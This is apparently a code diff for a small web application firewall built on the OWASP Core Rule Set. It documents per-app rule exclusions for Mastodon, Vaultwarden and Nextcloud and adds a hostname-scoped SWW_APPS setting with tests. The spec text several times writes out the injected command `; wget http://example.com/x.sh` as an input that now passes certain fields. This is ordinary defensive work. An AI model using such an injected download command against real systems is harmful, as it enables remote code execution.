`internal/coreruleset/mastodon.conf` lists +each rule and the request it refused. These fields skip the lists of system +files and command names (930120, 932120, 932250, 932260), in the query: + +- On the API's search, accounts and admin accounts, under `/api/v1/` and + `/api/v2/`, the searches and names `q`, `acct`, `username`, `display_name`, + `email` and `by_domain`. +- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and + `/admin/tags`, the searches `username`, `display_name`, `email`, `by_domain`, + `shortcode` and `name`. +- `q` on `/search`, the web app's search page. + +These fields of a body skip the same four rules: + +- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths under + them: + - `statuses`, `media` and `reports`; + - `accounts` and `profile`; + - `lists`, `filters` and `featured_tags`; + - the admin API's `accounts`, `domain_blocks` and `ip_blocks`. +- On those resources, these fields: + - `spoiler_text` and `poll[options][]`, for posting; + - `description`, of an uploaded file; + - `display_name`, `note` and the names and values of `fields_attributes`, + for a profile; + - `title`, `keyword`, the keywords of `keywords_attributes` and `name`, for + lists, filters and hashtags; + - `comment`, `text`, `private_comment` and `public_comment`, for reports, + notes, warnings and blocks; + - in JSON, as the web app sends them: + - `spoiler_text`, `title` and the options of `poll`; + - `description`, and the descriptions in `media_attributes`; - `display_name`, `note` and the names and values of - `fields_attributes`, for a profile; - - `title`, `keyword`, the keywords of `keywords_attributes` and `name`, - for lists, filters and hashtags; - - `comment`, `text`, `private_comment` and `public_comment`, for - reports, notes, warnings and blocks; - - in JSON, as the web app sends them: - - `spoiler_text`, `title` and the options of `poll`; - - `description`, and the descriptions in `media_attributes`; - - `display_name`, `note` and the names and values of - `fields_attributes`; - - `comment`. - - On these admin pages, and the paths under them: - - `/admin/domain_blocks`, `/admin/ip_blocks` and `/admin/rules`; - - `/admin/announcements` and `/admin/settings`; - - `/admin/accounts//action`; - - `/admin/report_notes` and `/admin/account_moderation_notes`; - - `/admin/warning_presets` and `/admin/roles`; - - `/admin/terms_of_service`. - - On those pages, these fields: - - `domain_block[private_comment]` and `domain_block[public_comment]`; - - `ip_block[comment]`; - - `rule[text]` and `rule[hint]`; - - `announcement[text]`; - - `form_admin_settings[site_title]`, - `form_admin_settings[site_short_description]` and - `form_admin_settings[site_extended_description]`; - - `admin_account_action[text]`, a warning to an account; - - `report_note[content]` and `account_moderation_note[content]`; - - `account_warning_preset[title]` and `account_warning_preset[text]`; - - `user_role[name]`; - - `terms_of_service[text]` and `terms_of_service[changelog]`. - - On these settings and sign-in pages, and the paths under them: - - `/filters`; - - `/settings/applications` and `/settings/aliases`; - - `/settings/migration` and `/settings/delete`; - - `/auth`. - - On those pages, these fields: - - `custom_filter[title]` and its keywords; - - `doorkeeper_application[name]` and `doorkeeper_application[website]`; - - `account_alias[acct]` and `account_migration[acct]`; - - `user[password]`, `user[password_confirmation]` and - `user[current_password]`; - - `user[invite_request_attributes][text]`, why someone asks to sign up; - - `account_migration[current_password]`, - `form_redirect[current_password]` and - `form_delete_confirmation[password]`, for moving or deleting an - account. - - On `/api/v1/accounts`, signing up through the API, `password` and - `reason`, in form data or JSON. - - On `/inbox`, `/users//inbox` and `/ap/users//inbox`, the fields - of the object another server delivers in JSON: - - `content` and `contentMap`, a post; - - `summary` and `summaryMap`, a content warning or a profile's text; - - `name`, a profile's name; - - the names and values of `attachment`, a picture's description or a - profile's fields; - - the names of `oneOf` and `anyOf`, a poll's options. - - A post's text, `status` in form data or JSON on `/api/v1/statuses` and the - paths under it. It skips 932125, 932230 and 932235 too, so a post can show - commands in code. A shell command such as `; wget http://example.com/x.sh` - reaches Mastodon there. + `fields_attributes`; + - `comment`. +- On these admin pages, and the paths under them: + - `/admin/domain_blocks`, `/admin/ip_blocks` and `/admin/rules`; + - `/admin/announcements` and `/admin/settings`; + - `/admin/accounts//action`; + - `/admin/report_notes` and `/admin/account_moderation_notes`; + - `/admin/warning_presets` and `/admin/roles`; + - `/admin/terms_of_service`. +- On those pages, these fields: + - `domain_block[private_comment]` and `domain_block[public_comment]`; + - `ip_block[comment]`; + - `rule[text]` and `rule[hint]`; + - `announcement[text]`; + - `form_admin_settings[site_title]`, + `form_admin_settings[site_short_description]` and + `form_admin_settings[site_extended_description]`; + - `admin_account_action[text]`, a warning to an account; + - `report_note[content]` and `account_moderation_note[content]`; + - `account_warning_preset[title]` and `account_warning_preset[text]`; + - `user_role[name]`; + - `terms_of_service[text]` and `terms_of_service[changelog]`. +- On these settings and sign-in pages, and the paths under them: + - `/filters`; + - `/settings/applications` and `/settings/aliases`; + - `/settings/migration` and `/settings/delete`; + - `/auth`. +- On those pages, these fields: + - `custom_filter[title]` and its keywords; + - `doorkeeper_application[name]` and `doorkeeper_application[website]`; + - `account_alias[acct]` and `account_migration[acct]`; + - `user[password]`, `user[password_confirmation]` and + `user[current_password]`; + - `user[invite_request_attributes][text]`, why someone asks to sign up; + - `account_migration[current_password]`, `form_redirect[current_password]` + and `form_delete_confirmation[password]`, for moving or deleting an + account. +- On `/api/v1/accounts`, signing up through the API, `password` and `reason`, in + form data or JSON. +- On `/inbox`, `/users//inbox` and `/ap/users//inbox`, the fields of + the object another server delivers in JSON: + - `content` and `contentMap`, a post; + - `summary` and `summaryMap`, a content warning or a profile's text; + - `name`, a profile's name; + - the names and values of `attachment`, a picture's description or a + profile's fields; + - the names of `oneOf` and `anyOf`, a poll's options. +- A post's text, `status` in form data or JSON on `/api/v1/statuses` and the + paths under it. It skips 932125, 932230 and 932235 too, so a post can show + commands in code. A shell command such as `; wget http://example.com/x.sh` + reaches Mastodon there. - Two fields of a body skip only 932120 and 932260. A hashtag or a username - holds only letters, digits and underscores, so the other two rules do not - misfire there: - - `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features - on a profile; - - `user[account_attributes][username]` on `/auth`, the sign-up form's - username. +Two fields of a body skip only 932120 and 932260. A hashtag or a username holds +only letters, digits and underscores, so the other two rules do not misfire +there: - `user[email]` on `/auth` and the paths under it skips 930120, 932120 - and 932260. The sign-up, sign-in, password reset and account settings forms - send an email address there, such as `python3@example.com`. An address holds - no spaces, so it keeps 932250. +- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features on a + profile; +- `user[account_attributes][username]` on `/auth`, the sign-up form's username. - On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip - 930120 by their names. A report forwarded to another server lists that - server in `forward_to_domains`. In the Core Rule Set the keys are named: - - `json.forward`; - - `json.forward_to_domains`; - - `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one - per server. +`user[email]` on `/auth` and the paths under it skips 930120, 932120 and 932260. +The sign-up, sign-in, password reset and account settings forms send an email +address there, such as `python3@example.com`. An address holds no spaces, so it +keeps 932250. - Each name contains `.forward`, a file in a home folder. So 930120 refused - every report the web app sent. The keys' values keep every rule. +On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip +930120 by their names. A report forwarded to another server lists that server in +`forward_to_domains`. In the Core Rule Set the keys are named: - These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None - applies when the query has a parameter of the same name. +- `json.forward`; +- `json.forward_to_domains`; +- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one per + server. - The names of uploaded files skip 932180 on these paths: - - `/api/v1/media` and `/api/v2/media`; - - `/api/v1/accounts/update_credentials` and `/api/v1/profile`. +Each name contains `.forward`, a file in a home folder. So 930120 refused every +report the web app sent. The keys' values keep every rule. - So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a - file of a type it does not allow. +These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None +applies when the query has a parameter of the same name. - The `Accept` header skips 920600 on links to profiles and posts, such as - `/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on - the paths under `/users/` and `/ap/users/` too. When someone on another - server looks up such a link, that server fetches it with this header: - `Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`. - It sends the same header to the account or post the link leads to. +The names of uploaded files skip 932180 on these paths: - Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own - resources under them count as Mastodon's paths. Elsewhere these fields keep - every rule. An app other than Mastodon that serves one of these paths must - check these fields itself. +- `/api/v1/media` and `/api/v2/media`; +- `/api/v1/accounts/update_credentials` and `/api/v1/profile`. -13. On Vaultwarden's paths, some fields skip the rules that refused ordinary - Vaultwarden requests there. `internal/coreruleset/vaultwarden.conf` lists - each rule and the request it refused. The apps encrypt vault items, folders, - collections and sends before sending them, so those fields skip no rules. - The fields below hold plain text. +So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a +file of a type it does not allow. - Names and password hints skip the lists of system files and command names - (930120, 932120, 932250, 932260): - - `name`, the name of the account, an organization, a group or a security - key; - - `masterPasswordHint`, when signing up or changing the master password; - - `invitation_org_name` and `smtp_from_name`, on the admin page's settings. +The `Accept` header skips 920600 on links to profiles and posts, such as +`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on the +paths under `/users/` and `/ap/users/` too. When someone on another server looks +up such a link, that server fetches it with this header: +`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`. +It sends the same header to the account or post the link leads to. - These fields hold email addresses and skip 930120, 932120 and 932260: - - `username`, when signing in at `/identity/connect/token`; - - `email`, `newEmail`, `billingEmail` and the invited `emails`; - - the salt fields, such as `masterPasswordUnlock.salt`, which hold the - address; - - `accountUnlockData.masterPasswordUnlockData.email`, when rotating the - account's encryption key; - - `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's - settings. +Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own +resources under them count as Mastodon's paths. Elsewhere these fields keep +every rule. - So `python3@example.com` and `powershell@example.com` pass. +Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that +refused ordinary Vaultwarden requests there. +`internal/coreruleset/vaultwarden.conf` lists each rule and the request it +refused. The apps encrypt vault items, folders, collections and sends before +sending them, so those fields skip no rules. The fields below hold plain text. - These fields skip the rules on these paths: - - the paths under `/identity/accounts/`; - - `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and - the paths under them; - - `/admin/config`. +Names and password hints skip the lists of system files and command names +(930120, 932120, 932250, 932260): - Names and password hints skip them on `/api/two-factor/webauthn` too, where - a security key gets its name. +- `name`, the name of the account, an organization, a group or a security key; +- `masterPasswordHint`, when signing up or changing the master password; +- `invitation_org_name` and `smtp_from_name`, on the admin page's settings. - The addresses skip them on these paths too: - - `/identity/connect/token` and `/admin/invite`; - - `/admin/test/smtp`, where the admin page sends a test email; - - the paths under `/api/two-factor/`, where sign-in codes by email are set - up and sent; - - `/api/auth-requests` and the paths under it, for signing in with another - device. +These fields hold email addresses and skip 930120, 932120 and 932260: - These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None - applies when the query has a parameter of the same name. +- `username`, when signing in at `/identity/connect/token`; +- `email`, `newEmail`, `billingEmail` and the invited `emails`; +- the salt fields, such as `masterPasswordUnlock.salt`, which hold the address; +- `accountUnlockData.masterPasswordUnlockData.email`, when rotating the + account's encryption key; +- `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's + settings. - `username` in the query of `/api/hibp/breach`, the data breach report, skips - 930120, 932120 and 932260 too. +So `python3@example.com` and `powershell@example.com` pass. - The names of uploaded files skip 920120 on the paths that take attachments - and file sends: - - `/api/ciphers//attachment` and the paths under it; - - `/api/ciphers//attachment-admin`; - - `/api/sends//file/`. +These fields skip the rules on these paths: - The apps name such a file by its encrypted name, which holds `=`. Path - traversal and PHP scripts in the names are still refused. +- the paths under `/identity/accounts/`; +- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and the + paths under them; +- `/admin/config`. - Elsewhere these fields keep every rule. An app other than Vaultwarden that - serves one of these paths must check these fields itself. +Names and password hints skip them on `/api/two-factor/webauthn` too, where a +security key gets its name. -14. On Nextcloud's paths, some fields skip the rules that refused ordinary - Nextcloud requests there, and its WebDAV methods are allowed. - `internal/coreruleset/nextcloud.conf` lists each rule and the request it - refused. +The addresses skip them on these paths too: - The sync client and the Files app use WebDAV on these paths: - - `/remote.php/dav/`; - - `/public.php/dav/`; - - `/remote.php/webdav/`; - - `/public.php/webdav/`. +- `/identity/connect/token` and `/admin/invite`; +- `/admin/test/smtp`, where the admin page sends a test email; +- the paths under `/api/two-factor/`, where sign-in codes by email are set up + and sent; +- `/api/auth-requests` and the paths under it, for signing in with another + device. - These methods are allowed there, besides those of the first change: - - `PROPFIND` and `PROPPATCH`; - - `MKCOL`; - - `COPY` and `MOVE`; - - `REPORT` and `SEARCH`; - - `LOCK` and `UNLOCK`, with which the desktop client locks a file. +These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None +applies when the query has a parameter of the same name. - A file the Files app or the sync client uploads with `PUT` to these paths is - a file, not form data. The Core Rule Set does not read the body of a `PUT` - there. So a JSON file holding `python3 -m pytest` uploads, and so does an - XML file holding `ls -la /var/log`. The headers, path and query of the `PUT` - are still checked. +`username` in the query of `/api/hibp/breach`, the data breach report, skips +930120, 932120 and 932260 too. - The cookie `nc_username` holds the name of the account signed in. It skips - the lists of system files and command names (930120, 932120, 932250, 932260) - on every path, since every request sends it. +The names of uploaded files skip 920120 on the paths that take attachments and +file sends: - These fields skip the same four rules, in the query or the body: - - On `/login`, for signing in: - - `user` and `password`; - - `redirect_url`, the page to go to after signing in. - - `dir`, the folder shown, on the paths under `/apps/files/`. - - The file names on a public share: - - `file` on the paths under `/apps/files_sharing/publicpreview/`; - - `path` and `files` on `/s//download`. - - On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`: - - the searches `search` and `term`, and `from`, the page searched from; - - the names `groupid`, `userid`, `displayName` and `groups[]`; - - `value`, a new value of an account's details; - - `path`, `label` and `shareWith`, for a share. +- `/api/ciphers//attachment` and the paths under it; +- `/api/ciphers//attachment-admin`; +- `/api/sends//file/`. - These fields of a JSON body skip the same four rules: - - On the OCS API, each field of the list above. - - `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in - the theming settings. - - `filePath` on `/apps/text/session//save`, the document the editor - saves. - - `name` on `/remote.php/dav/systemtags/`, a new tag. +The apps name such a file by its encrypted name, which holds `=`. Path traversal +and PHP scripts in the names are still refused. - Some fields hold sentences a person writes: - - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS - API and on each share under it; - - `message`, an account's status, on - `apps/user_status/api/v1/user_status/message/custom` of the OCS API; - - `message` in the JSON body that posts a comment to - `/remote.php/dav/comments/files/`; - - the XML body of a `PROPPATCH` that edits a comment; - - `autosaveContent` on `/apps/text/session//save`, the text of a - document. +Elsewhere these fields keep every rule. - These fields skip the same four rules. They also skip the rules that refused - ordinary sentences there, such as `It is fixed; diff attached` (932125, - 932230, 932235, 932380). A share's note and a status skip them in the query - or the body. A document's text skips two more, which refused a shell script - in a code block (932160, 932370). So a shell command such as - `; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL - injection, path traversal and script injection are still refused there. +Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that refused +ordinary Nextcloud requests there, and its WebDAV methods are allowed. +`internal/coreruleset/nextcloud.conf` lists each rule and the request it +refused. - The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, - skips the four rules. +The sync client and the Files app use WebDAV on these paths: - These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None - applies to a JSON field when the query has a parameter of that name, such as - `json.message`. Nextcloud's pages are matched at the site root and under - `/index.php/`. Elsewhere these fields keep every rule. An app other than - Nextcloud that serves one of these paths must check these fields itself. +- `/remote.php/dav/`; +- `/public.php/dav/`; +- `/remote.php/webdav/`; +- `/public.php/webdav/`. -The parameter and cookie names in these changes are matched without regard to -case, as Coraza matches them. +These methods are allowed there, besides those of the first change: + +- `PROPFIND` and `PROPPATCH`; +- `MKCOL`; +- `COPY` and `MOVE`; +- `REPORT` and `SEARCH`; +- `LOCK` and `UNLOCK`, with which the desktop client locks a file. + +A file the Files app or the sync client uploads with `PUT` to these paths is a +file, not form data. The Core Rule Set does not read the body of a `PUT` there. +So a JSON file holding `python3 -m pytest` uploads, and so does an XML file +holding `ls -la /var/log`. The headers, path and query of the `PUT` are still +checked. + +The cookie `nc_username` holds the name of the account signed in. It skips the +lists of system files and command names (930120, 932120, 932250, 932260) on +every path, since every request sends it. + +These fields skip the same four rules, in the query or the body: + +- On `/login`, for signing in: + - `user` and `password`; + - `redirect_url`, the page to go to after signing in. +- `dir`, the folder shown, on the paths under `/apps/files/`. +- The file names on a public share: + - `file` on the paths under `/apps/files_sharing/publicpreview/`; + - `path` and `files` on `/s//download`. +- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`: + - the searches `search` and `term`, and `from`, the page searched from; + - the names `groupid`, `userid`, `displayName` and `groups[]`; + - `value`, a new value of an account's details; + - `path`, `label` and `shareWith`, for a share. + +These fields of a JSON body skip the same four rules: + +- On the OCS API, each field of the list above. +- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in the + theming settings. +- `filePath` on `/apps/text/session//save`, the document the editor saves. +- `name` on `/remote.php/dav/systemtags/`, a new tag. + +Some fields hold sentences a person writes: + +- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS API + and on each share under it; +- `message`, an account's status, on + `apps/user_status/api/v1/user_status/message/custom` of the OCS API; +- `message` in the JSON body that posts a comment to + `/remote.php/dav/comments/files/`; +- the XML body of a `PROPPATCH` that edits a comment; +- `autosaveContent` on `/apps/text/session//save`, the text of a document. + +These fields skip the same four rules. They also skip the rules that refused +ordinary sentences there, such as `It is fixed; diff attached` (932125, 932230, +932235, 932380). A share's note and a status skip them in the query or the body. +A document's text skips two more, which refused a shell script in a code block +(932160, 932370). So a shell command such as `; wget http://example.com/x.sh` +reaches Nextcloud in these fields. SQL injection, path traversal and script +injection are still refused there. + +The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, skips +the four rules. + +These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None +applies to a JSON field when the query has a parameter of that name, such as +`json.message`. Nextcloud's pages are matched at the site root and under +`/index.php/`. Elsewhere these fields keep every rule. + +Each app's fixes switch rules off for some of its fields and cookies. Any other +app on a hostname that gets those fixes must check those fields and cookies +itself. + +The parameter names in these changes and fixes, and Nextcloud's cookie +`nc_username`, are matched without regard to case. gitea's two cookies are +matched exactly. ### Ban lengths, response and scope diff --git a/docs/settings.md b/docs/settings.md index 18b7dee..89c9958 100644 --- a/docs/settings.md +++ b/docs/settings.md @@ -255,6 +255,31 @@ the request first. a range. So does a directive that removes or changes rules as the file loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form. +- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the + fixes of its hostname's apps only (see "Attack detection" in + [`SPEC.md`](../SPEC.md)). + - Entries are separated by semicolons. Each is a hostname, a colon, then one + or more apps separated by commas, for example + `git.example.com:gitea;blog.example.com:wordpress`. + - The supported apps are: + - `drupal`; + - `gitea`; + - `mastodon`; + - `mediawiki`; + - `nextcloud`; + - `vaultwarden`; + - `wordpress`. + - The request's `Host` is matched by exact name, without its port and + without regard to case. There are no wildcards. + - A hostname not listed gets no app's fixes, so every rule checks it in + full. Set empty, `SWW_APPS` lists no hostname. + - Unset, every app's fixes apply to every hostname. + - Any of these mistakes stops the start: + - an unknown app; + - a hostname that is not a DNS name, such as `*.example.com`; + - a hostname listed twice; + - an app listed twice for one hostname; + - an entry without a colon. - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client (see "Attack detection" in `SPEC.md`). diff --git a/internal/config/config.go b/internal/config/config.go index 8cb82d1..95ec599 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -29,6 +29,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/anomaly" + "sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/remotelog" ) @@ -235,6 +236,11 @@ type Config struct { WAFExemptPaths []string WAFBodyLimit int64 CoreRuleSetExclusionsFile string + // Apps are the names of the apps each hostname serves, by hostname in + // lowercase (SWW_APPS): a request gets only its hostname's apps' fixes + // to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every + // request gets every app's fixes. + Apps map[string][]string // TrapPaths are the paths a request for which is a clear sign of // attack (SWW_TRAP_PATHS), each starting with / and without a ?. TrapPaths []string @@ -404,6 +410,11 @@ var ( errNotTrapPath = errors.New( "is not a path starting with / and without a ?, such as /wp-login.php", ) + errNotAppsEntry = errors.New( + "is not a hostname, : and a list of apps, such as git.example.com:gitea", + ) + errNotHostname = errors.New("is not a DNS name such as git.example.com") + errNotApp = errors.New("is not an app sww has fixes for; the apps are") errNotWAFMode = errors.New("is not off, detect or block") errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4") errNotRuleID = errors.New( @@ -577,6 +588,7 @@ func FromEnvironment( WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off), CoreRuleSetExclusionsFile: env.filePath( "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"), + Apps: env.apps("SWW_APPS"), TrapPaths: env.trapPaths("SWW_TRAP_PATHS"), ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"), LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"), @@ -832,6 +844,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string { return prefixes } +// apps reads the setting that is the apps each hostname serves. It is nil +// while the setting is unset, and logged as null, unlike a setting set +// empty. +func (e *environment) apps(name string) map[string][]string { + value, set := e.lookup(name) + if !set { + e.settings = append(e.settings, slog.Any(name, nil)) + + return nil + } + + e.settings = append(e.settings, slog.String(name, value)) + + apps, err := parseApps(value) + e.check(name, err) + + return apps +} + // trapPaths reads the setting that is the list of trap paths. It is empty // by default. func (e *environment) trapPaths(name string) []string { @@ -1849,6 +1880,65 @@ func parseTrapPaths(value string) ([]string, error) { return paths, nil } +// parseApps reads the apps each hostname serves: entries separated by +// semicolons, each a hostname, a colon, and a comma-separated list of the +// names coreruleset.AppNames returns, such as +// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each +// hostname is a DNS name, without a wildcard. It returns them by hostname +// in lowercase, since a hostname is matched without regard to case. An +// empty value lists no hostname. +func parseApps(value string) (map[string][]string, error) { + apps := map[string][]string{} + + if strings.TrimSpace(value) == "" { + return apps, nil + } + + for entry := range strings.SplitSeq(value, ";") { + hostname, list, found := strings.Cut(entry, ":") + if !found { + return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry) + } + + hostname = strings.ToLower(strings.TrimSpace(hostname)) + if hostname == "" { + return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry) + } + + if !isZone(hostname) { + return nil, fmt.Errorf("%q %w", hostname, errNotHostname) + } + + if _, listed := apps[hostname]; listed { + return nil, fmt.Errorf("%q %w", hostname, errListedTwice) + } + + names, err := parseList(list) + if err != nil { + return nil, err + } + + if len(names) == 0 { + return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry) + } + + for i, name := range names { + if !slices.Contains(coreruleset.AppNames(), name) { + return nil, fmt.Errorf("%q %w %s", name, errNotApp, + strings.Join(coreruleset.AppNames(), ", ")) + } + + if slices.Contains(names[:i], name) { + return nil, fmt.Errorf("%q %w", name, errListedTwice) + } + } + + apps[hostname] = names + } + + return apps, nil +} + // parseRuleIDs reads a comma-separated list of the ids of Core Rule Set // rules, each a whole number above zero and outside firstSetupRuleID to // lastSetupRuleID. @@ -2455,7 +2545,8 @@ func MaskZoneKey(zone string) string { return masked + "." + rest } -// isZone reports whether each label of zone is as parseZones takes it. +// isZone reports whether each label of zone is as parseZones takes it. It +// also checks the hostnames of SWW_APPS, which are DNS names too. func isZone(zone string) bool { for label := range strings.SplitSeq(zone, ".") { badChar := strings.ContainsFunc(label, func(char rune) bool { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 37e8b7b..2329633 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -89,6 +89,7 @@ const ( wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafBodyLimit = "SWW_WAF_BODY_LIMIT" exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE" + apps = "SWW_APPS" trapPaths = "SWW_TRAP_PATHS" errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD" logRemoteURL = "SWW_LOG_REMOTE_URL" @@ -582,6 +583,101 @@ func TestCoreRuleSetSettings(t *testing.T) { } } +// gitea is gitea's name in SWW_APPS. +const gitea = "gitea" + +func TestApps(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + want map[string][]string + }{ + {environment{}, nil}, + {environment{apps: ""}, map[string][]string{}}, + { + environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "}, + map[string][]string{ + "git.example.com": {gitea}, "cloud.example.com": {gitea}, + }, + }, + { + environment{apps: "cloud.example.com:gitea,wordpress"}, + map[string][]string{"cloud.example.com": {gitea, "wordpress"}}, + }, + } { + cfg := fromEnvironment(t, tc.env) + if !reflect.DeepEqual(cfg.Apps, tc.want) { + t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want) + } + } +} + +// Unset and set empty, SWW_APPS has opposite effects, so it logs differently. +func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + want string + }{ + {environment{}, `"` + apps + `":null`}, + {environment{apps: ""}, `"` + apps + `":""`}, + } { + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", fromEnvironment(t, tc.env)) + + if !strings.Contains(out.String(), tc.want) { + t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want) + } + } +} + +func TestInvalidAppsStopsTheStart(t *testing.T) { + t.Parallel() + + const ( + notEntry = " is not a hostname, : and a list of apps, " + + "such as git.example.com:gitea" + notHostname = " is not a DNS name such as git.example.com" + ) + + for _, tc := range []struct{ value, want string }{ + {"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry}, + {"git.example.com:gitea;", `""` + notEntry}, + {":gitea", `":gitea"` + notEntry}, + {"git.example.com:", `"git.example.com:"` + notEntry}, + {"*.example.com:gitea", `"*.example.com"` + notHostname}, + {"git.example.com/:gitea", `"git.example.com/"` + notHostname}, + {"git example.com:gitea", `"git example.com"` + notHostname}, + { + "git.example.com:gitea,jellyfin", + `"jellyfin" is not an app sww has fixes for; ` + + `the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` + + `vaultwarden, wordpress`, + }, + { + "git.example.com:gitea;GIT.example.com:gitea", + `"git.example.com" is listed twice`, + }, + {"git.example.com:gitea,gitea", `"gitea" is listed twice`}, + {"git.example.com:gitea,", `"gitea," has an empty item in its list`}, + } { + t.Run(tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv) + + want := apps + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + func TestWAFBodyLimitOf64K(t *testing.T) { t.Parallel() @@ -2589,6 +2685,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { wafExemptPaths: "", wafBodyLimit: off, exclusionsFile: "", + apps: "", // logged as null, which decodes as "" trapPaths: "", errorBurstThreshold: "30", logRemoteURL: "", diff --git a/internal/coreruleset/coreruleset.go b/internal/coreruleset/coreruleset.go index a933990..8670534 100644 --- a/internal/coreruleset/coreruleset.go +++ b/internal/coreruleset/coreruleset.go @@ -1,9 +1,9 @@ // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // method, the URL with its query and the headers of a request, and on its -// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww -// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as -// "Attack detection" under "Settings" in SPEC.md describes them. It reads no -// response. +// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww +// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in +// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings" +// in SPEC.md describes them. It reads no response. // // sww writes only to its state directory, so Coraza is built with // its no_fs_access tag, as the Dockerfile and script/build build it: of a @@ -16,6 +16,8 @@ import ( "errors" "fmt" "io" + "maps" + "net" "net/http" "net/netip" "os" @@ -32,11 +34,8 @@ import ( // directives are the Core Rule Set as sww runs it, with the // paranoia level for %d, bodyDirectives for the first %s while -// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, -// giteaExclusions for the third, wordpressExclusions for the fourth, -// drupalExclusions for the fifth, mediawikiExclusions for the sixth, -// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth, -// and nextcloudExclusions for the ninth. +// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the +// directives of every app in apps for the third. // Each rule sww adds has an id from 900000 to 900999, the ids the // Core Rule Set keeps for the rules that set it up, which // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no @@ -84,62 +83,28 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\ # before the rules of phase 1 too. %s -# The eighth change comes before the rules for the same reason. +# The apps' fixes come before the rules for the same reason. %s -# The ninth change comes before the rules for the same reason. -%s - -# So does the tenth. -%s - -# So does the eleventh. -%s - -# So does the twelfth. -%s - -# So does the thirteenth. -%s - -# And the fourteenth. -%s - -# The sixth: only the rules for requests are loaded, and no response is +# The fifth: only the rules for requests are loaded, and no response is # inspected. Include @owasp_crs/REQUEST-*.conf # The third: redirect_uri is not checked for a URL naming an IP address or -# localhost. 